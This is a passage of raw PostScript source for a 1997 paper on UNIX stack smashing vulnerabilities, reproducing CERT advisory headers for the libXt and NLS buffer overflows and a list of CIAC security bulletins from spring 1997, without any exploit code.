0 0 0 sco O ; : 511 647 3982 672 rc 0 0 0 sco F13_67 Ji 612 1163 M -0.200 0 (Topic: MIME Conversion Buffer Overflow in Sendmail Versions 8.8.3 and 8.8.4)A ; 586 1163 N M 6 71 rr : 0 0 0 sco O ; 4412 1163 N M 6 71 rr : 0 0 0 sco O ; : 511 647 3982 672 rc 0 0 0 sco F13_67 Ji 612 1234 M -0.200 0 (--------------------------------------------------------------------)A ; 586 1313 N M 6 6 rr : 0 0 0 sco O ; 586 1313 N M 6 6 rr : 0 0 0 sco O ; 592 1313 N M 3820 6 rr : 0 0 0 sco O ; 4412 1313 N M 6 6 rr : 0 0 0 sco O ; 4412 1313 N M 6 6 rr : 0 0 0 sco O ; 586 1234 N M 6 79 rr : 0 0 0 sco O ; 4412 1234 N M 6 79 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F11_67 Ji 612 2158 M -0.200 0 (ftp://info.cert.org/pub/cert_advisories/CA-97.11.libXt)A ; 586 2144 N M 6 6 rr : 0 0 0 sco O ; 586 2144 N M 6 6 rr : 0 0 0 sco O ; 592 2144 N M 3820 6 rr : 0 0 0 sco O ; 4412 2144 N M 6 6 rr : 0 0 0 sco O ; 4412 2144 N M 6 6 rr : 0 0 0 sco O ; 586 2150 N M 6 84 rr : 0 0 0 sco O ; 4412 2150 N M 6 84 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2234 M -0.200 0 (=====================================================================)A ; 586 2234 N M 6 71 rr : 0 0 0 sco O ; 4412 2234 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2305 M -0.200 0 (CERT* Advisory CA-97.11)A ; 586 2305 N M 6 71 rr : 0 0 0 sco O ; 4412 2305 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2376 M -0.200 0 (Original issue date: May 1, 1997)A ; 586 2376 N M 6 71 rr : 0 0 0 sco O ; 4412 2376 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2447 M -0.200 0 (Last revised: --)A ; 586 2447 N M 6 71 rr : 0 0 0 sco O ; 4412 2447 N M 6 71 rr : 0 0 0 sco O ; 586 2518 N M 6 71 rr : 0 0 0 sco O ; 4412 2518 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2589 M -0.200 0 (Topic: Vulnerability in libXt)A ; 586 2589 N M 6 71 rr : 0 0 0 sco O ; 4412 2589 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2660 M -0.200 0 (----------------------------------------------------------------------)A ; 586 2660 N M 6 71 rr : 0 0 0 sco O ; 4412 2660 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2731 M -0.200 0 (There have been discussions on public mailing lists about buffer overflows in the Xt library)A ; 586 2731 N M 6 71 rr : 0 0 0 sco O ; 4412 2731 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2802 M -0.200 0 (of the X Windowing System made freely available by The Open Group \(and previously by the now-)A ; 586 2802 N M 6 71 rr : 0 0 0 sco O ; 4412 2802 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2873 M -0.200 0 (defunct X Consortium\). The specific problem outlined in those discussions was a buffer)A ; 586 2873 N M 6 71 rr : 0 0 0 sco O ; 4412 2873 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2944 M -0.200 0 (overflow condition in the Xt library, and the file xc/lib/Xt/Error.c. Exploitation scripts)A ; 586 2944 N M 6 71 rr : 0 0 0 sco O ; 4412 2944 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 3015 M -0.200 0 (were made available.)A ; 586 3094 N M 6 6 rr : 0 0 0 sco O ; 586 3094 N M 6 6 rr : 0 0 0 sco O ; 592 3094 N M 3820 6 rr : 0 0 0 sco O ; 4412 3094 N M 6 6 rr : 0 0 0 sco O ; 4412 3094 N M 6 6 rr : 0 0 0 sco O ; 586 3015 N M 6 79 rr : 0 0 0 sco O ; 4412 3015 N M 6 79 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 5 ]%%) = %%PageTrailer %%Page: 6 6 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3977 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4170 54 M 0.500 0 (6)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2153 1820 M 0.100 0 (CERT example 3.1.c)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 2016 M -0.100 0 (E)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 16.400 0 32 -0.400 0 (e )D (3.1.)S 16.400 0 32 -0.400 0 (c )D (d)S -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (il)A 15.900 0 32 0.100 0 (s )D 16.400 0 32 -0.400 0 (a )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A 19.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 16.000 0 32 (n )W -0.200 0 (UN)A -2.300 0 (I)A 16.200 0 32 -0.200 0 (X )D (v)S -0.400 0 (e)A (ndo)S -0.300 0 (r)A 15.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 15.800 0 32 0.200 0 (t i)D (n)S -0.400 0 (c)A (o)S -0.300 0 (r)A (po)S -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (t)A 16.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 16.400 0 32 -0.400 0 (e )D -0.200 0 (N)A -0.400 0 (a)A 0.200 0 (t)A (u)S -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (l)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2193 M -2.100 0 (L)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 10.400 0 32 -0.400 0 (e )D 0.400 0 (S)A -0.400 0 (e)A -0.300 0 (r)A (v)S 0.200 0 (i)A 11.400 0 32 -0.400 0 (ce )D 0.200 0 (i)A (n)S 0.200 0 (t)A 11.000 0 32 (o )W 0.200 0 (t)A (h)S -0.400 0 (e)A 0.200 0 (i)A 11.300 0 32 -0.300 0 (r )D (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A 11.000 0 32 (on. )W 0.100 0 (M)A (u)S -0.400 0 (c)A 11.000 0 32 (h )W 0.200 0 (li)A (k)S 11.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 11.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F5) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F5_100) cvn F5 100 xF F5_100 Ji 2954 2193 M 0.100 0 (s)A -0.400 0 (e)A (nd)S -0.200 0 (m)A (a)S 0.200 0 (il)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3315 2193 M 11.000 0 32 ( vu)W 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A 14.000 0 32 -3.000 0 (y )D (d)S 0.200 0 (i)A 0.100 0 (s)A -0.400 0 (c)A (u)S 0.100 0 (ss)A -0.400 0 (e)A 11.000 0 32 (d )W 0.200 0 (i)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2370 M -0.112 0 (example 3.a, a stack smashing hole exists in a specific NLS binary.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2547 M 0.300 0 (C)A -2.300 0 (I)A -0.200 0 (A)A 18.700 0 32 0.300 0 (C )D 0.200 0 (i)A 18.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 19.400 0 32 -0.400 0 (e )D -0.200 0 (U)A (.)S 0.400 0 (S)A 19.000 0 32 (. )W -0.200 0 (D)A -0.400 0 (e)A (p)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (tm)A -0.400 0 (e)A (n)S 19.800 0 32 0.200 0 (t )D (o)S 20.300 0 32 -0.300 0 (f )D -0.100 0 (E)A (n)S -0.400 0 (e)A -0.300 0 (r)A -1.000 0 (g)A -3.000 0 (y)A -1.000 0 (')A 19.900 0 32 0.100 0 (s )D 0.300 0 (C)A (o)S 0.200 0 (m)A (pu)S 0.200 0 (t)A -0.400 0 (e)A 20.300 0 32 -0.300 0 (r )D -2.300 0 (I)A (n)S -0.400 0 (c)A 0.200 0 (i)A (d)S -0.400 0 (e)A (n)S 19.800 0 32 0.200 0 (t )D -0.200 0 (A)A (dv)S 0.200 0 (i)A 0.100 0 (s)A (o)S -0.300 0 (r)A 23.000 0 32 -3.000 0 (y )D 0.300 0 (C)A -0.400 0 (a)A (p)S -0.400 0 (a)A (b)S 0.200 0 (ilit)A -3.000 0 (y)A 0.200 0 (;)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2724 M -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (li)A 0.100 0 (s)A (h)S -0.400 0 (e)A 10.000 0 32 (d )W 0.200 0 (i)A 10.000 0 32 (n 1989, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 9.900 0 32 0.100 0 (s )D (o)S -0.300 0 (r)A -1.000 0 (g)A -0.400 0 (a)A (n)S 0.200 0 (i)A 0.600 0 (z)A -0.400 0 (a)A 0.200 0 (ti)A 10.000 0 32 (on p)W -0.300 0 (r)A (ov)S 0.200 0 (i)A (d)S -0.400 0 (e)A 9.900 0 32 0.100 0 (s )D -0.400 0 (c)A (o)S 0.200 0 (m)A (pu)S 0.200 0 (t)A -0.400 0 (e)A 10.300 0 32 -0.300 0 (r )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 13.000 0 32 -3.000 0 (y )D 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A (v)S 0.200 0 (i)A -0.400 0 (ce)A 10.900 0 32 0.100 0 (s )D 0.200 0 (t)A 11.000 0 32 (o )W -0.400 0 (e)A 0.200 0 (m)A (p)S 0.200 0 (l)A (o)S -3.000 0 (y)A -0.400 0 (ee)A 10.900 0 32 0.100 0 (s )D -0.400 0 (a)A (nd)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2901 M -0.400 0 (c)A (on)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (t)A (o)S -0.300 0 (r)A 18.900 0 32 0.100 0 (s )D (o)S 19.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 19.400 0 32 -0.400 0 (e )D -0.200 0 (U)A (n)S 0.200 0 (it)A -0.400 0 (e)A 20.000 0 32 (d )W 0.400 0 (S)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 19.900 0 32 0.100 0 (s )D -0.200 0 (D)A -0.400 0 (e)A (p)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (tm)A -0.400 0 (e)A (n)S 19.800 0 32 0.200 0 (t )D (o)S 20.300 0 32 -0.300 0 (f )D -0.100 0 (E)A (n)S -0.400 0 (e)A -0.300 0 (r)A -1.000 0 (g)A -3.000 0 (y)A 20.000 0 32 (. )W 0.300 0 (C)A -2.300 0 (I)A -0.200 0 (A)A 19.700 0 32 0.300 0 (C )D -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A (u)S 0.200 0 (l)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (l)A 23.000 0 32 -3.000 0 (y )D (pub)S 0.200 0 (li)A 0.100 0 (s)A (h)S -0.400 0 (e)A 19.900 0 32 0.100 0 (s )D (pub)S 0.200 0 (li)A -0.400 0 (c)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3078 M -0.400 0 (c)A (o)S 0.200 0 (m)A (pu)S 0.200 0 (t)A -0.400 0 (e)A 25.300 0 32 -0.300 0 (r )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 28.000 0 32 -3.000 0 (y )D 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (i)A (d)S -0.400 0 (e)A (n)S 25.800 0 32 0.200 0 (t )D (bu)S 0.200 0 (ll)A -0.400 0 (e)A 0.200 0 (ti)A (n)S 25.900 0 32 0.100 0 (s )D -0.400 0 (a)A 26.000 0 32 (nd h)W -0.400 0 (a)A 25.900 0 32 0.100 0 (s )D (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (t)A -0.400 0 (e)A 26.000 0 32 (d )W 26.400 0 32 -0.400 0 (a )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 26.300 0 32 -0.300 0 (r )D (o)S 26.300 0 32 -0.300 0 (f )D 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (i)A (d)S -0.400 0 (e)A (n)S 25.800 0 32 0.200 0 (t )D -0.400 0 (a)A (dv)S 0.200 0 (i)A 0.100 0 (s)A (o)S -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3255 M -0.094 0 (concerning buffer overflows[2]:)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2158 5196 M 0.001 0 (CIAC example 3.1.d)A ; : 511 500 3982 1316 rc 0 0 0 sco %%IncludeFont: Courier-Bold (F7) cvn 0.836 (Courier-Bold) cvn /Type1 T (Courier-Bold) cvn mF (F7_67) cvn F7 67 xF F7_67 Ji 612 514 M -0.200 0 (-----------------------------------------------------------)A ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 592 500 N M 3820 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O ; 586 506 N M 6 84 rr : 0 0 0 sco O ; 4412 506 N M 6 84 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F7_67 Ji 612 590 M -0.200 0 (ftp://info.cert.org/pub/cert_advisories/CA-97.10.nls)A ; 586 590 N M 6 76 rr : 0 0 0 sco O ; 4412 590 N M 6 76 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco %%IncludeFont: Courier (F9) cvn 0.791 (Courier) cvn /Type1 T (Courier) cvn mF (F9_67) cvn F9 67 xF F9_67 Ji 612 666 M -0.200 0 (======================================================================)A ; 586 666 N M 6 71 rr : 0 0 0 sco O ; 4412 666 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 737 M -0.200 0 (CERT* Advisory CA-97.10)A ; 586 737 N M 6 71 rr : 0 0 0 sco O ; 4412 737 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 808 M -0.200 0 (Original issue date: April 24, 1997)A ; 586 808 N M 6 71 rr : 0 0 0 sco O ; 4412 808 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 879 M -0.200 0 (Last revised: May 1, 1997)A ; 586 879 N M 6 71 rr : 0 0 0 sco O ; 4412 879 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 950 M -0.200 0 ( Section III and Appendex. Updated vendor information for)A ; 586 950 N M 6 71 rr : 0 0 0 sco O ; 4412 950 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1021 M -0.200 0 ( Hewlett-Packard Company.)A ; 586 1021 N M 6 71 rr : 0 0 0 sco O ; 4412 1021 N M 6 71 rr : 0 0 0 sco O ; 586 1092 N M 6 71 rr : 0 0 0 sco O ; 4412 1092 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1163 M -0.200 0 (Topic: Vulnerability in Natural Language Service)A ; 586 1163 N M 6 71 rr : 0 0 0 sco O ; 4412 1163 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1234 M -0.200 0 (---------------------------------------------------------------------)A ; 586 1234 N M 6 71 rr : 0 0 0 sco O ; 4412 1234 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1305 M -0.200 0 (The CERT Coordination Center has received reports of a buffer overflow condition that affects)A ; 586 1305 N M 6 71 rr : 0 0 0 sco O ; 4412 1305 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1376 M -0.200 0 (some libraries using the Natural Language Service \(NLS\) on UNIX systems. By exploiting this)A ; 586 1376 N M 6 71 rr : 0 0 0 sco O ; 4412 1376 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1447 M -0.200 0 (vulnerability, any local user can execute arbitrary programs as a privileged user. There is a)A ; 586 1447 N M 6 71 rr : 0 0 0 sco O ; 4412 1447 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1518 M -0.200 0 (possibility \(with some old libraries\) that the vulnerability can be exploited by a remote)A ; 586 1518 N M 6 71 rr : 0 0 0 sco O ; 4412 1518 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1589 M -0.200 0 (user.)A ; 586 1589 N M 6 71 rr : 0 0 0 sco O ; 4412 1589 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1660 M -0.200 0 (Exploitation information is publicly available.)A ; 586 1660 N M 6 71 rr : 0 0 0 sco O ; 4412 1660 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1731 M -0.200 0 (-------------------------------------------------------)A ; 586 1810 N M 6 6 rr : 0 0 0 sco O ; 586 1810 N M 6 6 rr : 0 0 0 sco O ; 592 1810 N M 3820 6 rr : 0 0 0 sco O ; 4412 1810 N M 6 6 rr : 0 0 0 sco O ; 4412 1810 N M 6 6 rr : 0 0 0 sco O ; 586 1731 N M 6 79 rr : 0 0 0 sco O ; 4412 1731 N M 6 79 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F7_67 Ji 612 3540 M -0.200 0 (http://ciac.llnl.gov)A ; 586 3526 N M 6 6 rr : 0 0 0 sco O ; 586 3526 N M 6 6 rr : 0 0 0 sco O ; 592 3526 N M 3820 6 rr : 0 0 0 sco O ; 4412 3526 N M 6 6 rr : 0 0 0 sco O ; 4412 3526 N M 6 6 rr : 0 0 0 sco O ; 586 3532 N M 6 84 rr : 0 0 0 sco O ; 4412 3532 N M 6 84 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 3616 M -0.200 0 (---------------------------------------------------------------------)A ; 586 3616 N M 6 71 rr : 0 0 0 sco O ; 4412 3616 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 3687 M -0.200 0 ( What's New \(04/28/97\):)A ; 586 3687 N M 6 71 rr : 0 0 0 sco O ; 4412 3687 N M 6 71 rr : 0 0 0 sco O ; 586 3758 N M 6 71 rr : 0 0 0 sco O ; 4412 3758 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 3829 M -0.200 0 (NLS Buffer Overflow Vulnerability \(H-49\) Released \(04/28/97\))A ; 586 3829 N M 6 71 rr : 0 0 0 sco O ; 4412 3829 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 3900 M -0.200 0 (Internet Information Server Vulnerability \(H-48\) Released \(04/21/97\) New CIAC Internet Hoaxes)A ; 586 3900 N M 6 71 rr : 0 0 0 sco O ; 4412 3900 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 3971 M -0.200 0 (Page Updated \(04/17/97\))A ; 586 3971 N M 6 71 rr : 0 0 0 sco O ; 4412 3971 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4042 M -0.200 0 (Alert- AOL4FREE.COM Trojan Horse Program Destroys Hard Drives \(H-47a\) )A ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 3612 4042 M -0.200 0 (Released \(04/17/97\))A ; 586 4042 N M 6 71 rr : 0 0 0 sco O ; 4412 4042 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4113 M -0.200 0 (Vulnerability in IMAP and POP \(H-46\) Released \(04/10/97\))A ; 586 4113 N M 6 71 rr : 0 0 0 sco O ; 4412 4113 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4184 M -0.200 0 (Windows NT SAM permission Vulnerability \(H-45\) Released \(04/09/97\))A ; 586 4184 N M 6 71 rr : 0 0 0 sco O ; 4412 4184 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4255 M -0.200 0 (SPI for NT Version 97.03B Now Available \(04/02/97\))A ; 586 4255 N M 6 71 rr : 0 0 0 sco O ; 4412 4255 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4326 M -0.200 0 (Solaris 2.x fdformat Buffer Overflow Vulnerability \(H-44\) Release \(03/25/97\))A ; 586 4326 N M 6 71 rr : 0 0 0 sco O ; 4412 4326 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4397 M -0.200 0 (Alert- Update on the Vulnerability in innd \(H-43\) Released \(03/20/97\))A ; 586 4397 N M 6 71 rr : 0 0 0 sco O ; 4412 4397 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4468 M -0.200 0 (HP MPE/iX with ICMP Echo Request \(ping\) Vulnerabilities \(H-42\) Released \(03/20/97\))A ; 586 4468 N M 6 71 rr : 0 0 0 sco O ; 4412 4468 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4539 M -0.200 0 (Solaris 2.x eject Buffer Overrun Vulnerabilities \(H-41\) Released \(03/19/97\))A ; 586 4539 N M 6 71 rr : 0 0 0 sco O ; 4412 4539 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4610 M -0.200 0 (DIGITAL Security Vulnerabilities \(DoP, delta-time\) \(H-40\) Released \(03/11/97\))A ; 586 4610 N M 6 71 rr : 0 0 0 sco O ; 4412 4610 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4681 M -0.200 0 (SGI IRIX fsdump Vulnerability \(H-39\) Released \(03/11/97\))A ; 586 4681 N M 6 71 rr : 0 0 0 sco O ; 4412 4681 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4752 M -0.200 0 (Internet Explorer 3.x Vulnerabilities \(H-38a\) Released \(03/10/97\))A ; 586 4752 N M 6 71 rr : 0 0 0 sco O ; 4412 4752 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4823 M -0.200 0 (Solaris 2.x passwd buffer Overrun Vulnerability \(H-37\) Released \(03/04/97\))A ; 586 4823 N M 6 71 rr : 0 0 0 sco O ; 4412 4823 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4894 M -0.200 0 (FedCIRC now has its own Web site. Come visit, there is plenty to see!)A ; 586 4894 N M 6 71 rr : 0 0 0 sco O ; 4412 4894 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4965 M -0.200 0 (DOE Awards a contract for a DOS/Windows Antivirus Product)A ; 586 4965 N M 6 71 rr : 0 0 0 sco O ; 4412 4965 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 5036 M -0.200 0 (1997 FIRST Conference announces a call for papers \(12/12/96\))A ; 586 5036 N M 6 71 rr : 0 0 0 sco O ; 4412 5036 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 5107 M -0.200 0 (------------------------------------------------------------------)A ; 586 5186 N M 6 6 rr : 0 0 0 sco O ; 586 5186 N M 6 6 rr : 0 0 0 sco O ; 592 5186 N M 3820 6 rr : 0 0 0 sco O ; 4412 5186 N M 6 6 rr : 0 0 0 sco O ; 4412 5186 N M 6 6 rr : 0 0 0 sco O ; 586 5107 N M 6 79 rr : 0 0 0 sco O ; 4412 5107 N M 6 79 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 6 ]%%) = %%PageTrailer %%Page: 7 7 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3977 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4170 54 M 0.500 0 (7)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 504 M -0.100 0 (E)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 35.400 0 32 -0.400 0 (e )D 35.000 0 32 (3.1.d d)W -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (il)A 34.900 0 32 0.100 0 (s )D 35.400 0 32 -0.400 0 (a )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 35.300 0 32 -0.300 0 (r )D (o)S 35.300 0 32 -0.300 0 (f )D 0.400 0 (S)A (p)S -0.300 0 (r)A 0.200 0 (i)A (n)S 36.000 0 32 -1.000 0 (g )D 36.000 0 32 (1997 vu)W 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A 39.000 0 32 -3.000 0 (y )D -0.300 0 (r)A -0.400 0 (e)A (po)S -0.300 0 (r)A 0.200 0 (t)A 35.900 0 32 0.100 0 (s )D 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (l)A (ud)S 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M (po)S 0.200 0 (t)A -0.400 0 (e)A (n)S 0.200 0 (ti)A -0.400 0 (a)A 9.800 0 32 0.200 0 (l )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 10.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 12.000 0 32 -1.000 0 (g )D (ho)S 0.200 0 (l)A 